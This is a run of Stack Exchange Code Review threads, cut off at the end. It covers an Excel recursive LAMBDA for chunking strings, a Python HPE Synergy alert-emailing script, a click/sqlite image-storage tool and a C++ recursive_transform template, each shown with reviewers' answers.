PadInternal(RHS,width,paddingStr))))</code></td> </tr> </tbody> </table> </div> <pre class="lang-swift prettyprint-override"><code>=LAMBDA( base, width, paddingStr, IF( LEN( base ) &lt;= width, base, LET( LHS, LEFT( base, width ), RHS, RIGHT( base, LEN( base ) - width ), LHS &amp; paddingStr &amp; PadInternal( RHS, width, paddingStr ) ) ) ) </code></pre> <h3>Questions</h3> <p>As this is my first time using recursive Lambda functions in Excel, I'd like some feedback. In particular:</p> <ul> <li>Is my algorithm efficient - I was thinking something with <code>TEXTJOIN</code> may be faster?</li> <li>How could this be improved to take a dynamic array as &quot;base&quot;?</li> <li>Can I have default values for the arguments?</li> <li>What about meta data (formatting of the tooltip, scope etc), are there other ways to make my function more accessible?</li> </ul>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T19:26:42.980", "Id": "499992", "Score": "0", "body": "PS, for a bit of context, I'm using this to format hexedecimal strings nicely with 2 character chunks" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T19:32:24.097", "Id": "499993", "Score": "0", "body": "Edit your post instead of commenting." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T19:41:39.113", "Id": "499994", "Score": "1", "body": "@TomGebel normally I would, but for this I think it's enough to review the function in its own right and the use case is not actually that relevant to the question - I don't want to tie the function to a particular use case" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T20:01:57.597", "Id": "500094", "Score": "1", "body": "I haven't used the LAMBDA function quite yet, and this looks interesting. I'd change your function name though, something like `ChunkMyText` might do. :)" } ]
[ { "body": "<p>I thought about this for a while and came up with some (what I think are) improvements:</p>\n<pre><code>=LAMBDA(base,width,paddingStr,TEXTJOIN(paddingStr,,MID(base,SEQUENCE((LEN(base)/width)+1,,1,width),width)))\n</code></pre>\n<p>This would:</p>\n<ul>\n<li>No longer require a recursive <code>LAMBDA()</code> which should prove to be faster (untested)</li>\n<li>Uses <code>TEXTJOIN()</code> which can handle errors and empty values internally so there is no longer any worry about that.</li>\n<li>The use of <code>MID()</code> negates the use of <code>LEFT()</code>, <code>RIGHT()</code> etc.</li>\n<li>No longer be using <code>LET()</code> which may also be using internal memory.</li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-06T15:21:42.443", "Id": "501693", "Score": "1", "body": "With the risk of appearing pedantic, a slight improvement would be to replace the ```+1``` with ```+0.5``` so that when the length is an even number the sequence does not generate an extra index which would be larger than the length thus resulting in an extra blank string to be joined. Nice solution!" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-22T14:37:07.597", "Id": "253778", "ParentId": "253549", "Score": "2" } } ]
{ "AcceptedAnswerId": "253778", "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T19:25:54.307", "Id": "253549", "Score": "3", "Tags": [ "excel", "lambda" ], "Title": "Recursive LAMBDA() function to create a formula that adds internal separators to a string in Excel" }
253549
<p>I have written the below code while helping one of the colleague over the SO and this code working as desired, but I feel there may be some improvement specially on the string formatting syntax's which can be better reviewed by experts here.</p> <h1>Code snippet:</h1> <pre><code>#!/python3/bin/python import pandas as pd pd.set_option('expand_frame_repr', True) ######################################################################################## ## Importing SMTP for the e-mail distribution ### ######################################################################################## from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart import smtplib from smtplib import SMTP import requests import time import glob import os from os import path import shutil # Set the timestamp for file based on the timestamp_src and timestamp_dst timestamp_src = time.strftime(&quot;%Y%m%d&quot;) timestamp_dst = time.strftime(&quot;%Y%m%d-%H:%M:%S&quot;) # Set the Destination file Variable src = &quot;/home/user2/.working_scripts/hpe_out/&quot; dst = &quot;/home/user2/script_logs/&quot; file_name = &quot;hpeCriticalAlert&quot; outfile = (f&quot;{src}/{file_name}.{timestamp_src}.csv&quot;) csv_files = [f_extn for f_extn in os.listdir(src) if f_extn.endswith(&quot;.csv&quot;) and path.isfile(path.join(src, f_extn))] for file in csv_files: shutil.move(path.join(f&quot;{src}/{file}&quot;), f&quot;{dst}/{file}-{timestamp_dst}.log&quot;) session = requests.Session() url = &quot;https://synergy.example.com/rest/login-sessions&quot; credentials = {&quot;userName&quot;: &quot;administrator&quot;, &quot;password&quot;: &quot;myPass&quot;} headers = {&quot;accept&quot;: &quot;application/json&quot;, &quot;content-type&quot;: &quot;application/json&quot;, &quot;x-api-version&quot;: &quot;120&quot;, } response = session.post(url, headers=headers, json=credentials, verify=False) session_id = response.json()[&quot;sessionID&quot;] ############################################################################################# url = &quot;https://synergy.example.com/rest/resource-alerts&quot; headers = {&quot;accept&quot;: &quot;application/json&quot;, &quot;content-type&quot;: &quot;text/csv&quot;, &quot;x-api-version&quot;: &quot;2&quot;, &quot;auth&quot;: session_id, } # stream=True on the request avoids reading the content at once into memory for large responses. response = session.get(url, headers=headers, verify=False, stream=True) with open(outfile, 'wb') as f: for chunk in response.iter_content(chunk_size=1024): f.write(chunk) ################################################################################################# for file in glob.glob(f&quot;{outfile}&quot;): #for file in glob.glob(f&quot;{src}/{file_name}.*.csv&quot;): df = pd.read_csv(file) ################################################################################################## recipients = ['karn.kumar@example.com'] mail_receivers = [elem.strip().split(',') for elem in recipients] msg = MIMEMultipart() msg['Subject'] = &quot;HTML OneView&quot; msg['From'] = 'hpe-dashboard@example.com' ######################################################################### html = &quot;&quot;&quot;\ &lt;html&gt; &lt;head&gt; &lt;style&gt; table, th, td {{font-size:9pt; border:1px solid black; border-collapse:collapse; text-align:left; background-color:LightGray;}} th, td {{padding: 5px;}} &lt;/style&gt; &lt;/head&gt; &lt;body&gt; Dear Team,&lt;br&gt;&lt;br&gt; Please Find the Report!&lt;br&gt;&lt;br&gt; {0} &lt;br&gt;&lt;br&gt; Kind regards.&lt;br&gt; Synergy Global Dashboard. &lt;/body&gt; &lt;/html&gt; &quot;&quot;&quot;.format(df.to_html(index=False)) part1 = MIMEText(html, 'html') msg.attach(part1) server = smtplib.SMTP('smtp.example.com') server.sendmail(msg['From'], mail_receivers, msg.as_string()) </code></pre>
[]
[ { "body": "<p>Since this looks like a script that might get onto some production server at some point, I'm going to give some recommendations from that point of view and how I'd do it if I were to implement this for my employer.</p>\n<p>In this review I'll mostly focus on the project structure, requests, exceptions and credentials management. I'll first paste the code that I came up with and then I'm going to explain in detail why did I do most of the changes.</p>\n<pre><code># config.py\n\n\nfrom getpass import getpass\nimport time\n\n\nTIMESTAMP_SRC = time.strftime(&quot;%Y%m%d&quot;)\nTIMESTAMP_DST = time.strftime(&quot;%Y%m%d-%H:%M:%S&quot;)\n\nDST = &quot;/home/user2/script_logs/&quot;\nSRC = &quot;/home/user2/.working_scripts/hpe_out/&quot;\nFILE_NAME = &quot;hpeCriticalAlert&quot;\nOUTFILE = f&quot;{SRC}/{FILE_NAME}.{TIMESTAMP_SRC}.csv&quot;\n\nBASE_URL = &quot;https://synergy.example.com/rest&quot;\nUSERNAME = &quot;administrator&quot;\nPASSWORD = getpass(&quot;Input your password: &quot;)\n\n# EMAIL CONFIG\nSMTP_SERVER = 'smtp.example.com'\n\nFROM = 'hpe-dashboard@example.com'\nTO = ['user1@example.com', 'user2@example.com']\nSUBJECT = 'HTML OneView'\n\nEMAIL_TEMPLATE = &quot;&quot;&quot;\\\n&lt;html&gt;\n &lt;head&gt;\n &lt;style&gt;\n table, th, td {{font-size:9pt; border:1px solid black; border-collapse:collapse; text-align:left; background-color:LightGray;}}\n th, td {{padding: 5px;}}\n &lt;/style&gt;\n &lt;/head&gt;\n &lt;body&gt;\n Dear Team,&lt;br&gt;&lt;br&gt;\n Please Find the Report!&lt;br&gt;&lt;br&gt;\n {} &lt;br&gt;&lt;br&gt;\n Kind regards.&lt;br&gt;\n Synergy Global Dashboard.\n &lt;/body&gt;\n&lt;/html&gt;&quot;&quot;&quot;\n</code></pre>\n<pre><code># main.py\n\nimport os\nimport shutil\nimport smtplib\nfrom email.message import EmailMessage\n\nimport pandas as pd\n\npd.set_option('expand_frame_repr', True)\nimport requests\n\nfrom .config import (\n BASE_URL,\n DST,\n OUTFILE,\n PASSWORD,\n SRC,\n TIMESTAMP_DST,\n USERNAME,\n SUBJECT,\n FROM,\n TO,\n EMAIL_TEMPLATE,\n SMTP_SERVER,\n)\n\n\nclass FileMoveFailure(Exception):\n pass\n\n\nclass SynergyRequestFailure(Exception):\n pass\n\n\nclass SessionIdRetrievalFailure(SynergyRequestFailure):\n pass\n\n\nclass ResourceAlertsRetrievalFailure(SynergyRequestFailure):\n pass\n\n\ndef move_csv_files():\n for csv_file in os.listdir(SRC):\n if csv_file.endswith(&quot;.csv&quot;) and os.path.isfile(os.path.join(SRC, csv_file)):\n try:\n shutil.move(\n os.path.join(f&quot;{SRC}/{csv_file}&quot;), \n f&quot;{DST}/{csv_file}-{TIMESTAMP_DST}.log&quot;\n )\n except OSError as os_error:\n raise FileMoveFailure(\n f'Moving file {csv_file} has failed: {os_error}'\n )\n\n\ndef get_session_id(session):\n try:\n response = session.post(\n url=f&quot;{BASE_URL}/login-sessions&quot;,\n headers={\n &quot;accept&quot;: &quot;application/json&quot;,\n &quot;content-type&quot;: &quot;application/json&quot;,\n &quot;x-api-version&quot;: &quot;120&quot;,\n },\n json={\n &quot;userName&quot;: USERNAME,\n &quot;password&quot;: PASSWORD\n },\n verify=False\n )\n except requests.exceptions.RequestException as req_exception:\n # you should also get this logged somewhere, or at least\n # printed depending on your use case\n raise SessionIdRetrievalFailure(\n f&quot;Could not get session id: {req_exception}&quot;\n )\n\n json_response = response.json()\n if not json_response.get(&quot;sessionID&quot;):\n # always assume the worse and do sanity checks &amp; validations\n # on fetched data\n raise KeyError(&quot;Could not fetch session id&quot;)\n\n return json_response[&quot;sessionID&quot;]\n\n\ndef get_resource_alerts_response(session, session_id):\n try:\n return session.get(\n url=f&quot;{BASE_URL}/resource-alerts&quot;,\n headers={\n &quot;accept&quot;: &quot;application/json&quot;,\n &quot;content-type&quot;: &quot;text/csv&quot;,\n &quot;x-api-version&quot;: &quot;2&quot;,\n &quot;auth&quot;: session_id,\n },\n verify=False,\n stream=True\n )\n except requests.exceptions.RequestException as req_exception:\n # you should also get this logged somewhere, or at least\n # printed depending on your use case\n raise ResourceAlertsRetrievalFailure(\n f&quot;Could not fetch resource alerts: {req_exception}&quot;\n )\n\n\ndef resource_alerts_to_df(resource_alerts_response):\n with open(OUTFILE, 'wb') as f:\n for chunk in resource_alerts_response.iter_content(chunk_size=1024):\n f.write(chunk)\n return pd.read_csv(OUTFILE)\n\n\ndef send_email(df):\n server = smtplib.SMTP(SMTP_SERVER)\n msg = EmailMessage()\n\n msg['Subject'], msg['From'], msg['To'] = SUBJECT, FROM, TO\n msg.set_content(&quot;Text version of your html template&quot;)\n msg.add_alternative(\n EMAIL_TEMPLATE.format(df.to_html(index=False)),\n subtype='html'\n )\n\n server.send_message(msg)\n\n\ndef main():\n move_csv_files()\n\n session = requests.Session()\n session_id = get_session_id(session)\n\n resource_alerts_response = get_resource_alerts_response(session, session_id)\n df = resource_alerts_to_df(resource_alerts_response)\n\n send_email(df)\n\n\nif __name__ == '__main__':\n main()\n</code></pre>\n<h2>config.py</h2>\n<p>The first major thing that I did was to split apart the configuration data from the main script. This will make your life easier when it comes to modifying the values since they're altogether.</p>\n<p>Another very important and sensitive thing to notice is the <code>PASSWORD</code> field. <strong>Do NOT, EVER, expose credentials in plain text</strong>. There are so many cases where this happened at big companies and resulted in loss of millions of $$ due to hackers exploiting this...</p>\n<p>There are multiple ways of avoiding this. None is perfect but it's definitely better than storing passwords in plain-text:</p>\n<ul>\n<li>Ask for user's input;</li>\n<li>Store them as ENV VARIABLES;</li>\n<li>Use some secrets management tool like <a href=\"https://docs.ansible.com/ansible/latest/user_guide/vault.html\" rel=\"nofollow noreferrer\">Ansible Vault</a></li>\n</ul>\n<p>This config file doesn't necessarily have to be a <code>.py</code> file. It can be a <code>yaml</code>, <code>ini</code>, <code>.env</code>, <code>json</code> file. I made it like this for convenience.</p>\n<h2>main.py</h2>\n<p>Honestly, when I first saw your script, I remembered how I used to write code when I started programming. It's messy, you understand it at the moment of writing and it kinda does the job you need. But when it comes to maintaining it, it's really, really tedious and frustrating: all those useless comments, unused imports, no spacing, nothing... You wouldn't even know where to start next time you have to add some new feature. Because of this you'd probably need to completely rewrite it.</p>\n<p>Improvements brought by my implementation:</p>\n<ul>\n<li>code is definitely easier to read and understand, even if I haven't added any <a href=\"https://www.python.org/dev/peps/pep-0257/\" rel=\"nofollow noreferrer\">docstrings</a>.</li>\n<li>it's a lot easier to modify any part of the code since it's now broken into smaller pieces. You can read more about the <a href=\"https://www.toptal.com/software/single-responsibility-principle\" rel=\"nofollow noreferrer\">SRP principle here</a>. I honestly could've done better on this one but for a first review, it'll do.</li>\n</ul>\n<p>What is still to be improved (by you)</p>\n<ul>\n<li>add some logging</li>\n<li>add docstrings / type hints</li>\n<li>chose better names for your variables (<code>SRC</code>, <code>DST</code> and so on aren't to descriptive)</li>\n<li>create tests to ensure your code works (I haven't really tested my implementation but it should give you an overall idea)</li>\n</ul>\n<h3>1. Imports</h3>\n<p>As you can see I don't have any unused imports and it's really easy to recognise stdlib modules, 3rd party modules and local modules because of the grouping:</p>\n<pre><code># stdlib\nimport os\nimport shutil\nimport smtplib\nfrom email.message import EmailMessage\n\n# 3rd party modules\nimport pandas as pd\n\npd.set_option('expand_frame_repr', True)\nimport requests\n\n# local config\nfrom .config import (\n BASE_URL,\n DST,\n OUTFILE,\n PASSWORD,\n SRC,\n TIMESTAMP_DST,\n USERNAME,\n SUBJECT,\n FROM,\n TO,\n EMAIL_TEMPLATE,\n SMTP_SERVER,\n)\n</code></pre>\n<h3>2. Exceptions</h3>\n<p>I've seen people creating a new <code>exceptions.py</code> file where they create custom exceptions for different use-cases. I just let them in <code>main.py</code>. Having your own subclasses lets you treat distinct exception cases separately. (such as the difference between not having permissions to run a report, and the report execution failing).</p>\n<h3>3. CSV files</h3>\n<p>Since you only want to move the .csv files to a specific location it's not necessary to build a list and iterate against it again to move each file. Instead, do it in one run and also raise an exception if something happens:</p>\n<h3>4. Requests</h3>\n<p>It's always a good practice to catch any specific exception that might be raised. I've only handled the generic <code>RequestException</code> which is going to catch any request exception but you might want to treat some exceptions separately: Connection errors, timeout errors, etc.</p>\n<p>Also, always make sure the data you receive is what you expect. I've seen cases where certain APIs where changed by some provider without announcing us (the developers) or without stating in their documentation otherwise. This usually breaks everything and takes some time figuring out what the root cause is.</p>\n<h3>5. Others</h3>\n<p>I think the rest of it is pretty straight forward. I'm not saying my solution is perfect but it's a better starting point.</p>\n<p>Enjoy! :)</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T07:00:23.450", "Id": "500030", "Score": "0", "body": "Alex, This is a nice one, however i have to keep the password into the code, is there a way if we can use a kind of Ansible vault, i'm not pretty familiar with using `class` but will get into it." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T22:25:52.093", "Id": "253554", "ParentId": "253550", "Score": "2" } } ]
{ "AcceptedAnswerId": "253554", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T19:57:35.527", "Id": "253550", "Score": "1", "Tags": [ "python-3.x", "linux" ], "Title": "Python3 conditionally moving files and string formatting" }
253550
<p>I wrote this little utility program that saves and load digital images such as videos, pictures among others in a database. I used <code>click</code> module for it's interface. Am fairly new to <code>click</code> and <code>sqlite</code> module. I would love to enhance and improve this project and would love to get feedbacks concerning what I have done so far.</p> <h2>user.py</h2> <pre><code>class User(): def __init__(self, name, password): self.username = name self.password = password </code></pre> <h2>dbcon.py</h2> <pre><code>import os import sqlite3 class DBCon: &quot;&quot;&quot;Database connection state&quot;&quot;&quot; def __init__(self, path = os.path.join(os.path.dirname(__file__), 'safe_db.sqlite3')): self.path = path self.connection = sqlite3.connect(path) self.cursor = None def create_tables(self, con): &quot;&quot;&quot;Create sqlite3 tables&quot;&quot;&quot; self.cursor = self.connection.cursor() try: users = &quot;&quot;&quot; CREATE TABLE users( username text PRIMARY KEY NOT NULL, password text NOT NULL )&quot;&quot;&quot; images = &quot;&quot;&quot; CREATE TABLE images( id integer PRIMARY KEY AUTOINCREMENT, image BLOB NOT NULL, filename text NOT NULL, username text, FOREIGN KEY (username) REFERENCES users(username) )&quot;&quot;&quot; self.cursor.execute(users) self.cursor.execute(images) except sqlite3.OperationalError: return self.cursor return self.cursor def drop_tables(self): drop_users = &quot;&quot;&quot;DROP TABLE users&quot;&quot;&quot; drop_images = &quot;&quot;&quot;DROP TABLE images&quot;&quot;&quot; self.cursor = self.connection.cursor() self.cursor.execute(drop_users) self.cursor.execute(drop_images) print('Dropped all tables sucessfully') </code></pre> <h2>safe.py</h2> <pre><code>import click from user import User from dbcon import DBCon @click.group(chain=True) @click.pass_context def cli(ctx): &quot;&quot;&quot;This program saves and loads image files to a database. Please initialize the database using 'initdb' before using the program. &quot;&quot;&quot; ctx.obj = DBCon() def to_binary(filename): &quot;&quot;&quot;Convert a digital data to binary data&quot;&quot;&quot; with open(filename, 'rb') as fp: blob_data = fp.read() return blob_data def to_digital(data, filename): &quot;&quot;&quot;Convert binary data to digital&quot;&quot;&quot; with open(filename, 'wb') as fp: fp.write(data) print('Stored digital data into: {}'.format(filename)) def auth(dbcon, username, password): user_query = &quot;&quot;&quot;SELECT * FROM users WHERE username = ? LIMIT 1&quot;&quot;&quot; dbcon.cursor.execute(user_query, (username,)) record = dbcon.cursor.fetchone() if record[1] != password: click.echo('Invalid Username and/or Password') return None return record @cli.command(short_help='Initialize the database') @click.pass_obj def initdb(ctx): ctx.cursor = ctx.create_tables(ctx.connection) @cli.command(short_help='Drop the database') @click.pass_obj def dropdb(ctx): ctx.drop_tables() @cli.command(short_help='Create a new user') @click.argument('username', metavar='&lt;username&gt;') @click.argument('password', metavar='&lt;password&gt;') @click.pass_obj def createuser(ctx, username, password): u = User(username, password) insert_query = &quot;&quot;&quot;INSERT INTO users(username, password) VALUES (?, ?)&quot;&quot;&quot; ctx.cursor = ctx.connection.cursor() ctx.cursor.execute(insert_query, (u.username, u.password)) ctx.connection.commit() return u @cli.command(short_help='Insert image into database') @click.argument('username', metavar='&lt;username&gt;') @click.argument('path_to_image', metavar='&lt;Path_to_image_file&gt;') @click.password_option(prompt=True) @click.pass_obj def insertdata(ctx, username, path_to_image, password): ctx.cursor = ctx.connection.cursor() user_record = auth(ctx, username, password) if user_record: insert_query = &quot;&quot;&quot;INSERT INTO images(image, username, filename) VALUES (?, (SELECT username from users WHERE username=?), ?)&quot;&quot;&quot; image = to_binary(path_to_image) ctx.cursor.execute(insert_query, (image, username, path_to_image)) ctx.connection.commit() @cli.command(short_help='Get image from database') @click.argument('username', metavar='&lt;username&gt;') @click.argument('path_to_image', metavar='&lt;Path_to_image_file&gt;') @click.password_option(prompt=True) @click.pass_obj def getdata(ctx, username, path_to_image, password): record = None ctx.cursor = ctx.connection.cursor() user_record = auth(ctx, username, password) if user_record: select_query = &quot;&quot;&quot;SELECT image from images WHERE username = ? AND filename=? LIMIT 1&quot;&quot;&quot; ctx.cursor.execute(select_query, (username, path_to_image)) record = ctx.cursor.fetchone() if record: image_path = path_to_image to_digital(record[0], image_path) else: click.echo('No such data in database') @cli.command(short_help=&quot;List all images in the database&quot;) @click.argument('username', metavar='&lt;username&gt;') @click.password_option() @click.pass_obj def li(ctx, username, password): # li is equivalent to listimages ctx.cursor = ctx.connection.cursor() user_record = auth(ctx, username, password) records= None if user_record: select_query = &quot;&quot;&quot;SELECT filename FROM images WHERE username = ?&quot;&quot;&quot; ctx.cursor.execute(select_query, (username,)) records = ctx.cursor.fetchall() for record in records: click.echo(record[0]) if __name__ == &quot;__main__&quot;: cli() </code></pre> <p>For installation purposes, I also included a setup file</p> <h2>setup.py</h2> <pre><code>from setuptools import setup setup( name='safe', version='0.1', py_modules=['safe'], install_requires=[ 'Click', ], entry_points =''' [console_scripts] safe=safe:cli ''', ) </code></pre>
[]
[ { "body": "<p>Good job overall. When running your code through a linter I haven't got too many issues which is a great first step to begin with!</p>\n<ul>\n<li><code>User()</code> shouldn't be a class. You don't even need variables for <code>username</code> and <code>password</code> since they're going to be introduced by the user anyway + you're not using them anywhere else but in <code>createuser</code> function.</li>\n<li>Don't write raw queries. Use an ORM like <a href=\"https://www.sqlalchemy.org/\" rel=\"nofollow noreferrer\">SQLAlchemy</a>. It'll save you from writing a lot of boilerplate code and it also adds an extra security layer. Another advantage is the relative ease with which you can handle changes to the database structure + many others.</li>\n<li>In <code>create_tables</code>, whatever happens you return the <code>cursor</code>. Wouldn't you want instead to raise an exception if something doesn't work?</li>\n<li><code>successfully</code> instead of <code>sucessfully</code></li>\n<li><code>if record[1] != password:</code> this will raise an <code>IndexError</code> exception if there's no record. I'd first check <code>if record: ...</code></li>\n<li><code>return None</code> is the same as <code>return</code></li>\n<li><strong>DON'T store plain-text credentials in DB.</strong> You can check the <a href=\"https://cryptography.io/en/latest/\" rel=\"nofollow noreferrer\"><code>cryptography</code></a> library for this purpose.</li>\n<li><code>def li(ctx, username, password): # li is equivalent to listimages</code> -&gt; why write a comment instead of just naming your function <code>list_images(...)</code>?</li>\n<li><code>records = None</code> &amp; <code>record = None</code> have no purpose whatsoever.</li>\n<li>in <code>setup.py</code> try to specify the <a href=\"https://packaging.python.org/guides/distributing-packages-using-setuptools/#classifiers\" rel=\"nofollow noreferrer\">Python versions</a> you support in your project</li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T00:01:40.837", "Id": "500020", "Score": "0", "body": "Would `sqlalchemy` add overhead?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T07:37:20.023", "Id": "500032", "Score": "1", "body": "IMO, if used correctly, no, it doesn't. Technically speaking, at the ORM level, the speed issues might appear because creating objects in Python is slow, and the SQLAlchemy ORM applies a large amount of bookkeeping to these objects as it fetches them, which is necessary in order for it to fulfill its usage contract, including unit of work, identity map, eager loading, collections, etc." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T08:07:12.300", "Id": "500035", "Score": "0", "body": "I would stick to raw `sql` for now, if issues arises, I would port to `sqlalchemy` . I really don't want to add too many complex stuff since the project is still minimal" } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T23:19:16.457", "Id": "253558", "ParentId": "253553", "Score": "2" } } ]
{ "AcceptedAnswerId": "253558", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T22:23:55.997", "Id": "253553", "Score": "3", "Tags": [ "python", "python-3.x", "console", "sqlite" ], "Title": "Simple Safe for Loading and Retrieving Digital Images" }
253553
<p>This is a follow-up question for <a href="https://codereview.stackexchange.com/q/251132/231235">A recursive_transform for std::vector with various return type</a>, <a href="https://codereview.stackexchange.com/q/251823/231235">A recursive_transform Template Function with Execution Policy</a>, <a href="https://codereview.stackexchange.com/q/253471/231235">A recursive_count_if Template Function with Execution Policy in C++</a>, <a href="https://codereview.stackexchange.com/q/253373/231235">Avoiding requires clause if possible on a series recursive function in C++</a> and <a href="https://codereview.stackexchange.com/q/252325/231235">A recursive_count_if Function with Automatic Type Deducing from Lambda for Various Type Arbitrary Nested Iterable Implementation in C++</a>. The standard concept <a href="https://en.cppreference.com/w/cpp/concepts/invocable" rel="nofollow noreferrer"><code>std::invocable</code></a> is mentioned in <a href="https://codereview.stackexchange.com/a/253519/231235">the previous G. Sliepen's answer</a> and I am trying to use <code>std::invocable</code> concept in <code>recursive_transform</code> template function. In this way, the termination condition can be determined with the input lambda function. Maybe <code>recursive_transform</code> is more generic here.</p> <p><strong>The experimental implementation</strong></p> <pre><code>// recursive_transform implementation template&lt;class T, std::invocable&lt;T&gt; F&gt; constexpr auto recursive_transform(const T&amp; input, const F&amp; f) { return f(input); } // specific case for std::array template&lt;class T, std::size_t S, class F&gt; constexpr auto recursive_transform(const std::array&lt;T, S&gt;&amp; input, const F&amp; f) { using TransformedValueType = decltype(recursive_transform(*input.cbegin(), f)); std::array&lt;TransformedValueType, S&gt; output; std::transform(input.cbegin(), input.cend(), output.begin(), [f](auto&amp;&amp; element) { return recursive_transform(element, f); } ); return output; } template&lt;template&lt;class...&gt; class Container, class Function, class... Ts&gt; requires (is_inserterable&lt;Container&lt;Ts...&gt;&gt; &amp;&amp; !std::invocable&lt;Function, Container&lt;Ts...&gt;&gt;) constexpr auto recursive_transform(const Container&lt;Ts...&gt;&amp; input, const Function&amp; f) { using TransformedValueType = decltype(recursive_transform(*input.cbegin(), f)); Container&lt;TransformedValueType&gt; output; std::transform(input.cbegin(), input.cend(), std::inserter(output, std::ranges::end(output)), [&amp;](auto&amp;&amp; element) { return recursive_transform(element, f); } ); return output; } #ifdef USE_BOOST_MULTIDIMENSIONAL_ARRAY template&lt;is_multi_array T, class F&gt; requires(!std::invocable&lt;F, T&gt;) constexpr auto recursive_transform(const T&amp; input, const F&amp; f) { boost::multi_array output(input); for (decltype(+input.shape()[0]) i = 0; i &lt; input.shape()[0]; i++) { output[i] = recursive_transform(input[i], f); } return output; } #endif </code></pre> <p><strong>Test cases</strong></p> <p>Because of the usage of <code>std::invocable</code>, the termination condition is more flexible instead of simply the base type of nested ranges. In other words, we can play this version of <code>recursive_transform</code> function with <code>recursive_count_if</code> function like this:</p> <pre><code>// std::vector&lt;int&gt; -&gt; std::vector&lt;std::string&gt; std::vector&lt;int&gt; test_vector = { 1, 2, 3 }; std::cout &lt;&lt; &quot;string: &quot; + recursive_transform(test_vector, [](int x)-&gt;std::string { return std::to_string(x); }).at(0) &lt;&lt; std::endl; // std::vector&lt;std::vector&lt;int&gt;&gt; -&gt; std::vector&lt;std::vector&lt;std::string&gt;&gt; std::vector&lt;decltype(test_vector)&gt; test_vector2 = { test_vector, test_vector, test_vector }; std::cout &lt;&lt; &quot;string: &quot; + recursive_transform(test_vector2, [](int x)-&gt;std::string { return std::to_string(x); }).at(0).at(0) &lt;&lt; std::endl; //std::vector&lt;std::vector&lt;int&gt;&gt; -&gt; std::vector&lt;std::size_t&gt; std::cout &lt;&lt; &quot;recursive_count_if: &quot; + recursive_transform(test_vector2, [](std::vector&lt;int&gt; x) { return std::to_string(recursive_count_if(x, [](int number) { return number == 3; })); }).at(0) &lt;&lt; std::endl; </code></pre> <p>The full testing code:</p> <pre><code>#include &lt;algorithm&gt; #include &lt;array&gt; #include &lt;cassert&gt; #include &lt;chrono&gt; #include &lt;complex&gt; #include &lt;concepts&gt; #include &lt;deque&gt; #include &lt;exception&gt; #include &lt;execution&gt; #include &lt;functional&gt; #include &lt;iostream&gt; #include &lt;iterator&gt; #include &lt;list&gt; #include &lt;map&gt; #include &lt;numeric&gt; #include &lt;optional&gt; #include &lt;ranges&gt; #include &lt;stdexcept&gt; #include &lt;string&gt; #include &lt;type_traits&gt; #include &lt;utility&gt; #include &lt;variant&gt; #include &lt;vector&gt; template&lt;typename T&gt; concept is_inserterable = requires(T x) { std::inserter(x, std::ranges::end(x)); }; #ifdef USE_BOOST_MULTIDIMENSIONAL_ARRAY template&lt;typename T&gt; concept is_multi_array = requires(T x) { x.num_dimensions(); x.shape(); boost::multi_array(x); }; #endif // recursive_count implementation template&lt;std::ranges::input_range Range, typename T&gt; constexpr auto recursive_count(const Range&amp; input, const T&amp; target) { return std::count(input.cbegin(), input.cend(), target); } // transform_reduce version template&lt;std::ranges::input_range Range, typename T&gt; requires std::ranges::input_range&lt;std::ranges::range_value_t&lt;Range&gt;&gt; constexpr auto recursive_count(const Range&amp; input, const T&amp; target) { return std::transform_reduce(std::cbegin(input), std::cend(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [target](auto&amp;&amp; element) { return recursive_count(element, target); }); } // recursive_count implementation (with execution policy) template&lt;class ExPo, std::ranges::input_range Range, typename T&gt; requires (std::is_execution_policy_v&lt;std::remove_cvref_t&lt;ExPo&gt;&gt;) constexpr auto recursive_count(ExPo execution_policy, const Range&amp; input, const T&amp; target) { return std::count(execution_policy, input.cbegin(), input.cend(), target); } template&lt;class ExPo, std::ranges::input_range Range, typename T&gt; requires (std::is_execution_policy_v&lt;std::remove_cvref_t&lt;ExPo&gt;&gt;) &amp;&amp; (std::ranges::input_range&lt;std::ranges::range_value_t&lt;Range&gt;&gt;) constexpr auto recursive_count(ExPo execution_policy, const Range&amp; input, const T&amp; target) { return std::transform_reduce(execution_policy, std::cbegin(input), std::cend(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [execution_policy, target](auto&amp;&amp; element) { return recursive_count(execution_policy, element, target); }); } // recursive_count_if implementation template&lt;class T, std::invocable&lt;T&gt; Pred&gt; constexpr std::size_t recursive_count_if(const T&amp; input, const Pred&amp; predicate) { return predicate(input) ? 1 : 0; } template&lt;std::ranges::input_range Range, class Pred&gt; requires (!std::invocable&lt;Pred, Range&gt;) constexpr auto recursive_count_if(const Range&amp; input, const Pred&amp; predicate) { return std::transform_reduce(std::cbegin(input), std::cend(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [predicate](auto&amp;&amp; element) { return recursive_count_if(element, predicate); }); } // recursive_count_if implementation (with execution policy) template&lt;class ExPo, class T, std::invocable&lt;T&gt; Pred&gt; requires (std::is_execution_policy_v&lt;std::remove_cvref_t&lt;ExPo&gt;&gt;) constexpr std::size_t recursive_count_if(ExPo execution_policy, const T&amp; input, const Pred&amp; predicate) { return predicate(input) ? 1 : 0; } template&lt;class ExPo, std::ranges::input_range Range, class Pred&gt; requires 